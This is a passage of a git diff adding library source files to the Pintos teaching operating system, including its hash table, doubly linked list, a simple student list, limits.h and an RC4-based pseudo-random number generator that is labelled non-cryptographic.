+ if (new_bucket_cnt == old_bucket_cnt)
+ return;
+
+ /* Allocate new buckets and initialize them as empty. */
+ new_buckets = malloc (sizeof *new_buckets * new_bucket_cnt);
+ if (new_buckets == NULL)
+ {
+ /* Allocation failed. This means that use of the hash table will
+ be less efficient. However, it is still usable, so
+ there's no reason for it to be an error. */
+ return;
+ }
+ for (i = 0; i < new_bucket_cnt; i++)
+ list_init (&new_buckets[i]);
+
+ /* Install new bucket info. */
+ h->buckets = new_buckets;
+ h->bucket_cnt = new_bucket_cnt;
+
+ /* Move each old element into the appropriate new bucket. */
+ for (i = 0; i < old_bucket_cnt; i++)
+ {
+ struct list *old_bucket;
+ struct list_elem *elem, *next;
+
+ old_bucket = &old_buckets[i];
+ for (elem = list_begin (old_bucket);
+ elem != list_end (old_bucket); elem = next)
+ {
+ struct list *new_bucket
+ = find_bucket (h, list_elem_to_hash_elem (elem));
+ next = list_next (elem);
+ list_remove (elem);
+ list_push_front (new_bucket, elem);
+ }
+ }
+
+ free (old_buckets);
+}
+
+/* Inserts E into BUCKET (in hash table H). */
+static void
+insert_elem (struct hash *h, struct list *bucket, struct hash_elem *e)
+{
+ h->elem_cnt++;
+ list_push_front (bucket, &e->list_elem);
+}
+
+/* Removes E from hash table H. */
+static void
+remove_elem (struct hash *h, struct hash_elem *e)
+{
+ h->elem_cnt--;
+ list_remove (&e->list_elem);
+}
+
diff --git a/src/lib/kernel/hash.h b/src/lib/kernel/hash.h
new file mode 100644
index 0000000..db9f674
--- /dev/null
+++ b/src/lib/kernel/hash.h
@@ -0,0 +1,103 @@
+#ifndef __LIB_KERNEL_HASH_H
+#define __LIB_KERNEL_HASH_H
+
+/* Hash table.
+
+ This data structure is thoroughly documented in the Tour of
+ Pintos for Project 3.
+
+ This is a standard hash table with chaining. To locate an
+ element in the table, we compute a hash function over the
+ element's data and use that as an index into an array of
+ doubly linked lists, then linearly search the list.
+
+ The chain lists do not use dynamic allocation. Instead, each
+ structure that can potentially be in a hash must embed a
+ struct hash_elem member. All of the hash functions operate on
+ these `struct hash_elem's. The hash_entry macro allows
+ conversion from a struct hash_elem back to a structure object
+ that contains it. This is the same technique used in the
+ linked list implementation. Refer to lib/kernel/list.h for a
+ detailed explanation. */
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+#include "list.h"
+
+/* Hash element. */
+struct hash_elem
+ {
+ struct list_elem list_elem;
+ };
+
+/* Converts pointer to hash element HASH_ELEM into a pointer to
+ the structure that HASH_ELEM is embedded inside. Supply the
+ name of the outer structure STRUCT and the member name MEMBER
+ of the hash element. See the big comment at the top of the
+ file for an example. */
+#define hash_entry(HASH_ELEM, STRUCT, MEMBER) \
+ ((STRUCT *) ((uint8_t *) &(HASH_ELEM)->list_elem \
+ - offsetof (STRUCT, MEMBER.list_elem)))
+
+/* Computes and returns the hash value for hash element E, given
+ auxiliary data AUX. */
+typedef unsigned hash_hash_func (const struct hash_elem *e, void *aux);
+
+/* Compares the value of two hash elements A and B, given
+ auxiliary data AUX. Returns true if A is less than B, or
+ false if A is greater than or equal to B. */
+typedef bool hash_less_func (const struct hash_elem *a,
+ const struct hash_elem *b,
+ void *aux);
+
+/* Performs some operation on hash element E, given auxiliary
+ data AUX. */
+typedef void hash_action_func (struct hash_elem *e, void *aux);
+
+/* Hash table. */
+struct hash
+ {
+ size_t elem_cnt; /* Number of elements in table. */
+ size_t bucket_cnt; /* Number of buckets, a power of 2. */
+ struct list *buckets; /* Array of `bucket_cnt' lists. */
+ hash_hash_func *hash; /* Hash function. */
+ hash_less_func *less; /* Comparison function. */
+ void *aux; /* Auxiliary data for `hash' and `less'. */
+ };
+
+/* A hash table iterator. */
+struct hash_iterator
+ {
+ struct hash *hash; /* The hash table. */
+ struct list *bucket; /* Current bucket. */
+ struct hash_elem *elem; /* Current hash element in current bucket. */
+ };
+
+/* Basic life cycle. */
+bool hash_init (struct hash *, hash_hash_func *, hash_less_func *, void *aux);
+void hash_clear (struct hash *, hash_action_func *);
+void hash_destroy (struct hash *, hash_action_func *);
+
+/* Search, insertion, deletion. */
+struct hash_elem *hash_insert (struct hash *, struct hash_elem *);
+struct hash_elem *hash_replace (struct hash *, struct hash_elem *);
+struct hash_elem *hash_find (struct hash *, struct hash_elem *);
+struct hash_elem *hash_delete (struct hash *, struct hash_elem *);
+
+/* Iteration. */
+void hash_apply (struct hash *, hash_action_func *);
+void hash_first (struct hash_iterator *, struct hash *);
+struct hash_elem *hash_next (struct hash_iterator *);
+struct hash_elem *hash_cur (struct hash_iterator *);
+
+/* Information. */
+size_t hash_size (struct hash *);
+bool hash_empty (struct hash *);
+
+/* Sample hash functions. */
+unsigned hash_bytes (const void *, size_t);
+unsigned hash_string (const char *);
+unsigned hash_int (int);
+
+#endif /* lib/kernel/hash.h */
diff --git a/src/lib/kernel/list.c b/src/lib/kernel/list.c
new file mode 100644
index 0000000..e9993cb
--- /dev/null
+++ b/src/lib/kernel/list.c
@@ -0,0 +1,532 @@
+#include "list.h"
+#include "../debug.h"
+
+/* Our doubly linked lists have two header elements: the "head"
+ just before the first element and the "tail" just after the
+ last element. The `prev' link of the front header is null, as
+ is the `next' link of the back header. Their other two links
+ point toward each other via the interior elements of the list.
+
+ An empty list looks like this:
+
+ +------+ +------+
+ <---| head |<--->| tail |--->
+ +------+ +------+
+
+ A list with two elements in it looks like this:
+
+ +------+ +-------+ +-------+ +------+
+ <---| head |<--->| 1 |<--->| 2 |<--->| tail |<--->
+ +------+ +-------+ +-------+ +------+
+
+ The symmetry of this arrangement eliminates lots of special
+ cases in list processing. For example, take a look at
+ list_remove(): it takes only two pointer assignments and no
+ conditionals. That's a lot simpler than the code would be
+ without header elements.
+
+ (Because only one of the pointers in each header element is used,
+ we could in fact combine them into a single header element
+ without sacrificing this simplicity. But using two separate
+ elements allows us to do a little bit of checking on some
+ operations, which can be valuable.) */
+
+static bool is_sorted (struct list_elem *a, struct list_elem *b,
+ list_less_func *less, void *aux) UNUSED;
+
+/* Returns true if ELEM is a head, false otherwise. */
+static inline bool
+is_head (struct list_elem *elem)
+{
+ return elem != NULL && elem->prev == NULL && elem->next != NULL;
+}
+
+/* Returns true if ELEM is an interior element,
+ false otherwise. */
+static inline bool
+is_interior (struct list_elem *elem)
+{
+ return elem != NULL && elem->prev != NULL && elem->next != NULL;
+}
+
+/* Returns true if ELEM is a tail, false otherwise. */
+static inline bool
+is_tail (struct list_elem *elem)
+{
+ return elem != NULL && elem->prev != NULL && elem->next == NULL;
+}
+
+/* Initializes LIST as an empty list. */
+void
+list_init (struct list *list)
+{
+ ASSERT (list != NULL);
+ list->head.prev = NULL;
+ list->head.next = &list->tail;
+ list->tail.prev = &list->head;
+ list->tail.next = NULL;
+}
+
+/* Returns the beginning of LIST. */
+struct list_elem *
+list_begin (struct list *list)
+{
+ ASSERT (list != NULL);
+ return list->head.next;
+}
+
+/* Returns the element after ELEM in its list. If ELEM is the
+ last element in its list, returns the list tail. Results are
+ undefined if ELEM is itself a list tail. */
+struct list_elem *
+list_next (struct list_elem *elem)
+{
+ ASSERT (is_head (elem) || is_interior (elem));
+ return elem->next;
+}
+
+/* Returns LIST's tail.
+
+ list_end() is often used in iterating through a list from
+ front to back. See the big comment at the top of list.h for
+ an example. */
+struct list_elem *
+list_end (struct list *list)
+{
+ ASSERT (list != NULL);
+ return &list->tail;
+}
+
+/* Returns the LIST's reverse beginning, for iterating through
+ LIST in reverse order, from back to front. */
+struct list_elem *
+list_rbegin (struct list *list)
+{
+ ASSERT (list != NULL);
+ return list->tail.prev;
+}
+
+/* Returns the element before ELEM in its list. If ELEM is the
+ first element in its list, returns the list head. Results are
+ undefined if ELEM is itself a list head. */
+struct list_elem *
+list_prev (struct list_elem *elem)
+{
+ ASSERT (is_interior (elem) || is_tail (elem));
+ return elem->prev;
+}
+
+/* Returns LIST's head.
+
+ list_rend() is often used in iterating through a list in
+ reverse order, from back to front. Here's typical usage,
+ following the example from the top of list.h:
+
+ for (e = list_rbegin (&foo_list); e != list_rend (&foo_list);
+ e = list_prev (e))
+ {
+ struct foo *f = list_entry (e, struct foo, elem);
+ ...do something with f...
+ }
+*/
+struct list_elem *
+list_rend (struct list *list)
+{
+ ASSERT (list != NULL);
+ return &list->head;
+}
+
+/* Return's LIST's head.
+
+ list_head() can be used for an alternate style of iterating
+ through a list, e.g.:
+
+ e = list_head (&list);
+ while ((e = list_next (e)) != list_end (&list))
+ {
+ ...
+ }
+*/
+struct list_elem *
+list_head (struct list *list)
+{
+ ASSERT (list != NULL);
+ return &list->head;
+}
+
+/* Return's LIST's tail. */
+struct list_elem *
+list_tail (struct list *list)
+{
+ ASSERT (list != NULL);
+ return &list->tail;
+}
+
+/* Inserts ELEM just before BEFORE, which may be either an
+ interior element or a tail. The latter case is equivalent to
+ list_push_back(). */
+void
+list_insert (struct list_elem *before, struct list_elem *elem)
+{
+ ASSERT (is_interior (before) || is_tail (before));
+ ASSERT (elem != NULL);
+
+ elem->prev = before->prev;
+ elem->next = before;
+ before->prev->next = elem;
+ before->prev = elem;
+}
+
+/* Removes elements FIRST though LAST (exclusive) from their
+ current list, then inserts them just before BEFORE, which may
+ be either an interior element or a tail. */
+void
+list_splice (struct list_elem *before,
+ struct list_elem *first, struct list_elem *last)
+{
+ ASSERT (is_interior (before) || is_tail (before));
+ if (first == last)
+ return;
+ last = list_prev (last);
+
+ ASSERT (is_interior (first));
+ ASSERT (is_interior (last));
+
+ /* Cleanly remove FIRST...LAST from its current list. */
+ first->prev->next = last->next;
+ last->next->prev = first->prev;
+
+ /* Splice FIRST...LAST into new list. */
+ first->prev = before->prev;
+ last->next = before;
+ before->prev->next = first;
+ before->prev = last;
+}
+
+/* Inserts ELEM at the beginning of LIST, so that it becomes the
+ front in LIST. */
+void
+list_push_front (struct list *list, struct list_elem *elem)
+{
+ list_insert (list_begin (list), elem);
+}
+
+/* Inserts ELEM at the end of LIST, so that it becomes the
+ back in LIST. */
+void
+list_push_back (struct list *list, struct list_elem *elem)
+{
+ list_insert (list_end (list), elem);
+}
+
+/* Removes ELEM from its list and returns the element that
+ followed it. Undefined behavior if ELEM is not in a list.
+
+ It's not safe to treat ELEM as an element in a list after
+ removing it. In particular, using list_next() or list_prev()
+ on ELEM after removal yields undefined behavior. This means
+ that a naive loop to remove the elements in a list will fail:
+
+ ** DON'T DO THIS **
+ for (e = list_begin (&list); e != list_end (&list); e = list_next (e))
+ {
+ ...do something with e...
+ list_remove (e);
+ }
+ ** DON'T DO THIS **
+
+ Here is one correct way to iterate and remove elements from a
+ list:
+
+ for (e = list_begin (&list); e != list_end (&list); e = list_remove (e))
+ {
+ ...do something with e...
+ }
+
+ If you need to free() elements of the list then you need to be
+ more conservative. Here's an alternate strategy that works
+ even in that case:
+
+ while (!list_empty (&list))
+ {
+ struct list_elem *e = list_pop_front (&list);
+ ...do something with e...
+ }
+*/
+struct list_elem *
+list_remove (struct list_elem *elem)
+{
+ ASSERT (is_interior (elem));
+ elem->prev->next = elem->next;
+ elem->next->prev = elem->prev;
+ return elem->next;
+}
+
+/* Removes the front element from LIST and returns it.
+ Undefined behavior if LIST is empty before removal. */
+struct list_elem *
+list_pop_front (struct list *list)
+{
+ struct list_elem *front = list_front (list);
+ list_remove (front);
+ return front;
+}
+
+/* Removes the back element from LIST and returns it.
+ Undefined behavior if LIST is empty before removal. */
+struct list_elem *
+list_pop_back (struct list *list)
+{
+ struct list_elem *back = list_back (list);
+ list_remove (back);
+ return back;
+}
+
+/* Returns the front element in LIST.
+ Undefined behavior if LIST is empty. */
+struct list_elem *
+list_front (struct list *list)
+{
+ ASSERT (!list_empty (list));
+ return list->head.next;
+}
+
+/* Returns the back element in LIST.
+ Undefined behavior if LIST is empty. */
+struct list_elem *
+list_back (struct list *list)
+{
+ ASSERT (!list_empty (list));
+ return list->tail.prev;
+}
+
+/* Returns the number of elements in LIST.
+ Runs in O(n) in the number of elements. */
+size_t
+list_size (struct list *list)
+{
+ struct list_elem *e;
+ size_t cnt = 0;
+
+ for (e = list_begin (list); e != list_end (list); e = list_next (e))
+ cnt++;
+ return cnt;
+}
+
+/* Returns true if LIST is empty, false otherwise. */
+bool
+list_empty (struct list *list)
+{
+ return list_begin (list) == list_end (list);
+}
+
+/* Swaps the `struct list_elem *'s that A and B point to. */
+static void
+swap (struct list_elem **a, struct list_elem **b)
+{
+ struct list_elem *t = *a;
+ *a = *b;
+ *b = t;
+}
+
+/* Reverses the order of LIST. */
+void
+list_reverse (struct list *list)
+{
+ if (!list_empty (list))
+ {
+ struct list_elem *e;
+
+ for (e = list_begin (list); e != list_end (list); e = e->prev)
+ swap (&e->prev, &e->next);
+ swap (&list->head.next, &list->tail.prev);
+ swap (&list->head.next->prev, &list->tail.prev->next);
+ }
+}
+
+/* Returns true only if the list elements A through B (exclusive)
+ are in order according to LESS given auxiliary data AUX. */
+static bool
+is_sorted (struct list_elem *a, struct list_elem *b,
+ list_less_func *less, void *aux)
+{
+ if (a != b)
+ while ((a = list_next (a)) != b)
+ if (less (a, list_prev (a), aux))
+ return false;
+ return true;
+}
+
+/* Finds a run, starting at A and ending not after B, of list
+ elements that are in nondecreasing order according to LESS
+ given auxiliary data AUX. Returns the (exclusive) end of the
+ run.
+ A through B (exclusive) must form a non-empty range. */
+static struct list_elem *
+find_end_of_run (struct list_elem *a, struct list_elem *b,
+ list_less_func *less, void *aux)
+{
+ ASSERT (a != NULL);
+ ASSERT (b != NULL);
+ ASSERT (less != NULL);
+ ASSERT (a != b);
+
+ do
+ {
+ a = list_next (a);
+ }
+ while (a != b && !less (a, list_prev (a), aux));
+ return a;
+}
+
+/* Merges A0 through A1B0 (exclusive) with A1B0 through B1
+ (exclusive) to form a combined range also ending at B1
+ (exclusive). Both input ranges must be nonempty and sorted in
+ nondecreasing order according to LESS given auxiliary data
+ AUX. The output range will be sorted the same way. */
+static void
+inplace_merge (struct list_elem *a0, struct list_elem *a1b0,
+ struct list_elem *b1,
+ list_less_func *less, void *aux)
+{
+ ASSERT (a0 != NULL);
+ ASSERT (a1b0 != NULL);
+ ASSERT (b1 != NULL);
+ ASSERT (less != NULL);
+ ASSERT (is_sorted (a0, a1b0, less, aux));
+ ASSERT (is_sorted (a1b0, b1, less, aux));
+
+ while (a0 != a1b0 && a1b0 != b1)
+ if (!less (a1b0, a0, aux))
+ a0 = list_next (a0);
+ else
+ {
+ a1b0 = list_next (a1b0);
+ list_splice (a0, list_prev (a1b0), a1b0);
+ }
+}
+
+/* Sorts LIST according to LESS given auxiliary data AUX, using a
+ natural iterative merge sort that runs in O(n lg n) time and
+ O(1) space in the number of elements in LIST. */
+void
+list_sort (struct list *list, list_less_func *less, void *aux)
+{
+ size_t output_run_cnt; /* Number of runs output in current pass. */
+
+ ASSERT (list != NULL);
+ ASSERT (less != NULL);
+
+ /* Pass over the list repeatedly, merging adjacent runs of
+ nondecreasing elements, until only one run is left. */
+ do
+ {
+ struct list_elem *a0; /* Start of first run. */
+ struct list_elem *a1b0; /* End of first run, start of second. */
+ struct list_elem *b1; /* End of second run. */
+
+ output_run_cnt = 0;
+ for (a0 = list_begin (list); a0 != list_end (list); a0 = b1)
+ {
+ /* Each iteration produces one output run. */
+ output_run_cnt++;
+
+ /* Locate two adjacent runs of nondecreasing elements
+ A0...A1B0 and A1B0...B1. */
+ a1b0 = find_end_of_run (a0, list_end (list), less, aux);
+ if (a1b0 == list_end (list))
+ break;
+ b1 = find_end_of_run (a1b0, list_end (list), less, aux);
+
+ /* Merge the runs. */
+ inplace_merge (a0, a1b0, b1, less, aux);
+ }
+ }
+ while (output_run_cnt > 1);
+
+ ASSERT (is_sorted (list_begin (list), list_end (list), less, aux));
+}
+
+/* Inserts ELEM in the proper position in LIST, which must be
+ sorted according to LESS given auxiliary data AUX.
+ Runs in O(n) average case in the number of elements in LIST. */
+void
+list_insert_ordered (struct list *list, struct list_elem *elem,
+ list_less_func *less, void *aux)
+{
+ struct list_elem *e;
+
+ ASSERT (list != NULL);
+ ASSERT (elem != NULL);
+ ASSERT (less != NULL);
+
+ for (e = list_begin (list); e != list_end (list); e = list_next (e))
+ if (less (elem, e, aux))
+ break;
+ return list_insert (e, elem);
+}
+
+/* Iterates through LIST and removes all but the first in each
+ set of adjacent elements that are equal according to LESS
+ given auxiliary data AUX. If DUPLICATES is non-null, then the
+ elements from LIST are appended to DUPLICATES. */
+void
+list_unique (struct list *list, struct list *duplicates,
+ list_less_func *less, void *aux)
+{
+ struct list_elem *elem, *next;
+
+ ASSERT (list != NULL);
+ ASSERT (less != NULL);
+ if (list_empty (list))
+ return;
+
+ elem = list_begin (list);
+ while ((next = list_next (elem)) != list_end (list))
+ if (!less (elem, next, aux) && !less (next, elem, aux))
+ {
+ list_remove (next);
+ if (duplicates != NULL)
+ list_push_back (duplicates, next);
+ }
+ else
+ elem = next;
+}
+
+/* Returns the element in LIST with the largest value according
+ to LESS given auxiliary data AUX. If there is more than one
+ maximum, returns the one that appears earlier in the list. If
+ the list is empty, returns its tail. */
+struct list_elem *
+list_max (struct list *list, list_less_func *less, void *aux)
+{
+ struct list_elem *max = list_begin (list);
+ if (max != list_end (list))
+ {
+ struct list_elem *e;
+
+ for (e = list_next (max); e != list_end (list); e = list_next (e))
+ if (less (max, e, aux))
+ max = e;
+ }
+ return max;
+}
+
+/* Returns the element in LIST with the smallest value according
+ to LESS given auxiliary data AUX. If there is more than one
+ minimum, returns the one that appears earlier in the list. If
+ the list is empty, returns its tail. */
+struct list_elem *
+list_min (struct list *list, list_less_func *less, void *aux)
+{
+ struct list_elem *min = list_begin (list);
+ if (min != list_end (list))
+ {
+ struct list_elem *e;
+
+ for (e = list_next (min); e != list_end (list); e = list_next (e))
+ if (less (e, min, aux))
+ min = e;
+ }
+ return min;
+}
diff --git a/src/lib/kernel/list.h b/src/lib/kernel/list.h
new file mode 100644
index 0000000..2388f9a
--- /dev/null
+++ b/src/lib/kernel/list.h
@@ -0,0 +1,168 @@
+#ifndef __LIB_KERNEL_LIST_H
+#define __LIB_KERNEL_LIST_H
+
+/* Doubly linked list.
+
+ This implementation of a doubly linked list does not require
+ use of dynamically allocated memory. Instead, each structure
+ that is a potential list element must embed a struct list_elem
+ member. All of the list functions operate on these `struct
+ list_elem's. The list_entry macro allows conversion from a
+ struct list_elem back to a structure object that contains it.
+
+ For example, suppose there is a needed for a list of `struct
+ foo'. `struct foo' should contain a `struct list_elem'
+ member, like so:
+
+ struct foo
+ {
+ struct list_elem elem;
+ int bar;
+ ...other members...
+ };
+
+ Then a list of `struct foo' can be be declared and initialized
+ like so:
+
+ struct list foo_list;
+
+ list_init (&foo_list);
+
+ Iteration is a typical situation where it is necessary to
+ convert from a struct list_elem back to its enclosing
+ structure. Here's an example using foo_list:
+
+ struct list_elem *e;
+
+ for (e = list_begin (&foo_list); e != list_end (&foo_list);
+ e = list_next (e))
+ {
+ struct foo *f = list_entry (e, struct foo, elem);
+ ...do something with f...
+ }
+
+ You can find real examples of list usage throughout the
+ source; for example, malloc.c, palloc.c, and thread.c in the
+ threads directory all use lists.
+
+ The interface for this list is inspired by the list<> template
+ in the C++ STL. If you're familiar with list<>, you should
+ find this easy to use. However, it should be emphasized that
+ these lists do *no* type checking and can't do much other
+ correctness checking. If you screw up, it will bite you.
+
+ Glossary of list terms:
+
+ - "front": The first element in a list. Undefined in an
+ empty list. Returned by list_front().
+
+ - "back": The last element in a list. Undefined in an empty
+ list. Returned by list_back().
+
+ - "tail": The element figuratively just after the last
+ element of a list. Well defined even in an empty list.
+ Returned by list_end(). Used as the end sentinel for an
+ iteration from front to back.
+
+ - "beginning": In a non-empty list, the front. In an empty
+ list, the tail. Returned by list_begin(). Used as the
+ starting point for an iteration from front to back.
+
+ - "head": The element figuratively just before the first
+ element of a list. Well defined even in an empty list.
+ Returned by list_rend(). Used as the end sentinel for an
+ iteration from back to front.
+
+ - "reverse beginning": In a non-empty list, the back. In an
+ empty list, the head. Returned by list_rbegin(). Used as
+ the starting point for an iteration from back to front.
+
+ - "interior element": An element that is not the head or
+ tail, that is, a real list element. An empty list does
+ not have any interior elements.
+*/
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+/* List element. */
+struct list_elem
+ {
+ struct list_elem *prev; /* Previous list element. */
+ struct list_elem *next; /* Next list element. */
+ };
+
+/* List. */
+struct list
+ {
+ struct list_elem head; /* List head. */
+ struct list_elem tail; /* List tail. */
+ };
+
+/* Converts pointer to list element LIST_ELEM into a pointer to
+ the structure that LIST_ELEM is embedded inside. Supply the
+ name of the outer structure STRUCT and the member name MEMBER
+ of the list element. See the big comment at the top of the
+ file for an example. */
+#define list_entry(LIST_ELEM, STRUCT, MEMBER) \
+ ((STRUCT *) ((uint8_t *) &(LIST_ELEM)->next \
+ - offsetof (STRUCT, MEMBER.next)))
+
+void list_init (struct list *);
+
+/* List traversal. */
+struct list_elem *list_begin (struct list *);
+struct list_elem *list_next (struct list_elem *);
+struct list_elem *list_end (struct list *);
+
+struct list_elem *list_rbegin (struct list *);
+struct list_elem *list_prev (struct list_elem *);
+struct list_elem *list_rend (struct list *);
+
+struct list_elem *list_head (struct list *);
+struct list_elem *list_tail (struct list *);
+
+/* List insertion. */
+void list_insert (struct list_elem *, struct list_elem *);
+void list_splice (struct list_elem *before,
+ struct list_elem *first, struct list_elem *last);
+void list_push_front (struct list *, struct list_elem *);
+void list_push_back (struct list *, struct list_elem *);
+
+/* List removal. */
+struct list_elem *list_remove (struct list_elem *);
+struct list_elem *list_pop_front (struct list *);
+struct list_elem *list_pop_back (struct list *);
+
+/* List elements. */
+struct list_elem *list_front (struct list *);
+struct list_elem *list_back (struct list *);
+
+/* List properties. */
+size_t list_size (struct list *);
+bool list_empty (struct list *);
+
+/* Miscellaneous. */
+void list_reverse (struct list *);
+
+/* Compares the value of two list elements A and B, given
+ auxiliary data AUX. Returns true if A is less than B, or
+ false if A is greater than or equal to B. */
+typedef bool list_less_func (const struct list_elem *a,
+ const struct list_elem *b,
+ void *aux);
+
+/* Operations on lists with ordered elements. */
+void list_sort (struct list *,
+ list_less_func *, void *aux);
+void list_insert_ordered (struct list *, struct list_elem *,
+ list_less_func *, void *aux);
+void list_unique (struct list *, struct list *duplicates,
+ list_less_func *, void *aux);
+
+/* Max and min. */
+struct list_elem *list_max (struct list *, list_less_func *, void *aux);
+struct list_elem *list_min (struct list *, list_less_func *, void *aux);
+
+#endif /* lib/kernel/list.h */
diff --git a/src/lib/kernel/slist.c b/src/lib/kernel/slist.c
new file mode 100644
index 0000000..392f08a
--- /dev/null
+++ b/src/lib/kernel/slist.c
@@ -0,0 +1,153 @@
+ #include "slist.h"
+ #include "threads/malloc.h"
+#include <stdio.h>
+// #include <stdlib.h>
+
+ /* List structure */
+ struct Node
+ {
+ ListElement Element;
+ Position Next;
+ };
+
+ /* make empty list */
+
+ SList
+ MakeEmpty( SList L )
+ {
+ if( L != NULL )
+ DeleteList( L );
+ L = malloc( sizeof( struct Node ) );
+ if( L == NULL ) {
+ printf( "Out of memory!\n" );
+ return NULL;
+ }
+ L->Next = NULL;
+ return L;
+ }
+
+ /* Return true if L is empty */
+
+ int
+ IsEmpty( SList L )
+ {
+ return L->Next == NULL;
+ }
+
+ /* Return true if P is the last position in SList L */
+ /* Parameter L is unused in this implementation */
+
+ int IsLast( Position P, UNUSED SList L)
+ {
+ return P->Next == NULL;
+ }
+
+ /* Return Position of X in L; NULL if not found */
+
+ Position
+ Find( ListElement X, SList L )
+ {
+ Position P;
+
+ P = L->Next;
+ while( P != NULL && P->Element != X )
+ P = P->Next;
+
+ return P;
+ }
+
+ /* Delete from a SList */
+ /* Cell pointed to by P->Next is wiped out */
+ /* Assume that the position is legal */
+ /* Assume use of a header node */
+
+ void
+ Delete( ListElement X, SList L )
+ {
+ Position P, TmpCell;
+
+ P = FindPrevious( X, L );
+
+ if( !IsLast( P, L ) ) /* Assumption of header use */
+ { /* X is found; delete it */
+ TmpCell = P->Next;
+ P->Next = TmpCell->Next; /* Bypass deleted cell */
+ free( TmpCell );
+ }
+ }
+
+ /* If X is not found, then Next field of returned value is NULL */
+ /* Assumes a header */
+
+ Position
+ FindPrevious( ListElement X, SList L )
+ {
+ Position P;
+
+ P = L;
+ while( P->Next != NULL && P->Next->Element != X )
+ P = P->Next;
+
+ return P;
+ }
+
+ /* Insert (after legal position P) */
+ /* Header implementation assumed */
+ /* Parameter L is unused in this implementation */
+
+ void
+ Insert( ListElement X, UNUSED SList L, Position P )
+ {
+ Position TmpCell;
+
+ TmpCell = malloc( sizeof( struct Node ) );
+ if( TmpCell == NULL ) {
+ printf( "Out of space!!!\n" );
+ return;
+ }
+
+ TmpCell->Element = X;
+ TmpCell->Next = P->Next;
+ P->Next = TmpCell;
+ }
+
+ /* DeleteSList algorithm */
+
+ void
+ DeleteList( SList L )
+ {
+ Position P, Tmp;
+
+ P = L->Next; /* Header assumed */
+ L->Next = NULL;
+ while( P != NULL )
+ {
+ Tmp = P->Next;
+ free( P );
+ P = Tmp;
+ }
+ }
+
+ Position
+ Header( SList L )
+ {
+ return L;
+ }
+
+ Position
+ First( SList L )
+ {
+ return L->Next;
+ }
+
+ Position
+ Advance( Position P )
+ {
+ return P->Next;
+ }
+
+ ListElement
+ Retrieve( Position P )
+ {
+ return P->Element;
+ }
diff --git a/src/lib/kernel/slist.h b/src/lib/kernel/slist.h
new file mode 100644
index 0000000..07b13c5
--- /dev/null
+++ b/src/lib/kernel/slist.h
@@ -0,0 +1,25 @@
+/* SList -- simple list for students */
+ typedef void * ListElement;
+
+ #ifndef _SList_H
+ #define _SList_H
+
+ struct Node;
+ typedef struct Node *PtrToNode;
+ typedef PtrToNode SList;
+ typedef PtrToNode Position;
+
+ SList MakeEmpty( SList L );
+ int IsEmpty( SList L );
+ int IsLast( Position P, SList L);
+ Position Find( ListElement X, SList L );
+ void Delete( ListElement X, SList L );
+ Position FindPrevious( ListElement X, SList L );
+ void Insert( ListElement X, SList L, Position P );
+ void DeleteList( SList L );
+ Position Header( SList L );
+ Position First( SList L );
+ Position Advance( Position P );
+ ListElement Retrieve( Position P );
+
+ #endif /* _SList_H */
diff --git a/src/lib/kernel/stdio.h b/src/lib/kernel/stdio.h
new file mode 100644
index 0000000..3e5bae9
--- /dev/null
+++ b/src/lib/kernel/stdio.h
@@ -0,0 +1,6 @@
+#ifndef __LIB_KERNEL_STDIO_H
+#define __LIB_KERNEL_STDIO_H
+
+void putbuf (const char *, size_t);
+
+#endif /* lib/kernel/stdio.h */
diff --git a/src/lib/limits.h b/src/lib/limits.h
new file mode 100644
index 0000000..c957ec4
--- /dev/null
+++ b/src/lib/limits.h
@@ -0,0 +1,34 @@
+#ifndef __LIB_LIMITS_H
+#define __LIB_LIMITS_H
+
+#define CHAR_BIT 8
+
+#define SCHAR_MAX 127
+#define SCHAR_MIN (-SCHAR_MAX - 1)
+#define UCHAR_MAX 255
+
+#ifdef __CHAR_UNSIGNED__
+#define CHAR_MIN 0
+#define CHAR_MAX UCHAR_MAX
+#else
+#define CHAR_MIN SCHAR_MIN
+#define CHAR_MAX SCHAR_MAX
+#endif
+
+#define SHRT_MAX 32767
+#define SHRT_MIN (-SHRT_MAX - 1)
+#define USHRT_MAX 65535
+
+#define INT_MAX 2147483647
+#define INT_MIN (-INT_MAX - 1)
+#define UINT_MAX 4294967295U
+
+#define LONG_MAX 2147483647L
+#define LONG_MIN (-LONG_MAX - 1)
+#define ULONG_MAX 4294967295UL
+
+#define LLONG_MAX 9223372036854775807LL
+#define LLONG_MIN (-LLONG_MAX - 1)
+#define ULLONG_MAX 18446744073709551615ULL
+
+#endif /* lib/limits.h */
diff --git a/src/lib/random.c b/src/lib/random.c
new file mode 100644
index 0000000..a4761b6
--- /dev/null
+++ b/src/lib/random.c
@@ -0,0 +1,83 @@
+#include "random.h"
+#include <stdbool.h>
+#include <stdint.h>
+#include "debug.h"
+
+/* RC4-based pseudo-random number generator (PRNG).
+
+ RC4 is a stream cipher. We're not using it here for its
+ cryptographic properties, but because it is easy to implement
+ and its output is plenty random for non-cryptographic
+ purposes.
+
+ See http://en.wikipedia.org/wiki/RC4_(cipher) for information
+ on RC4.*/
+
+/* RC4 state. */
+static uint8_t s[256]; /* S[]. */
+static uint8_t s_i, s_j; /* i, j. */
+
+/* Already initialized? */
+static bool inited;
+
+/* Swaps the bytes pointed to by A and B. */
+static inline void
+swap_byte (uint8_t *a, uint8_t *b)
+{
+ uint8_t t = *a;
+ *a = *b;
+ *b = t;
+}
+
+/* Initializes or reinitializes the PRNG with the given SEED. */
+void
+random_init (unsigned seed)
+{
+ uint8_t *seedp = (uint8_t *) &seed;
+ int i;
+ uint8_t j;
+
+ for (i = 0; i < 256; i++)
+ s[i] = i;
+ for (i = j = 0; i < 256; i++)
+ {
+ j += s[i] + seedp[i % sizeof seed];
+ swap_byte (s + i, s + j);
+ }
+
+ s_i = s_j = 0;
+ inited = true;
+}
+
+/* Writes SIZE random bytes into BUF. */
+void
+random_bytes (void *buf_, size_t size)
+{
+ uint8_t *buf;
+
+ if (!inited)
+ random_init (0);
+
+ for (buf = buf_; size-- > 0; buf++)
+ {
+ uint8_t s_k;
+
+ s_i++;
+ s_j += s[s_i];
+ swap_byte (s + s_i, s + s_j);
+
+ s_k = s[s_i] + s[s_j];
+ *buf = s[s_k];
+ }
+}
+
+/* Returns a pseudo-random unsigned long.
+ Use random_ulong() % n to obtain a random number in the range
+ 0...n (exclusive). */
+unsigned long
+random_ulong (void)
+{
+ unsigned long ul;
+ random_bytes (&ul, sizeof ul);
+ return ul;
+}
diff --git a/src/lib/random.h b/src/lib/random.h
new file mode 100644
index 0000000..0950ae2
--- /dev/null
+++ b/src/lib/random.h
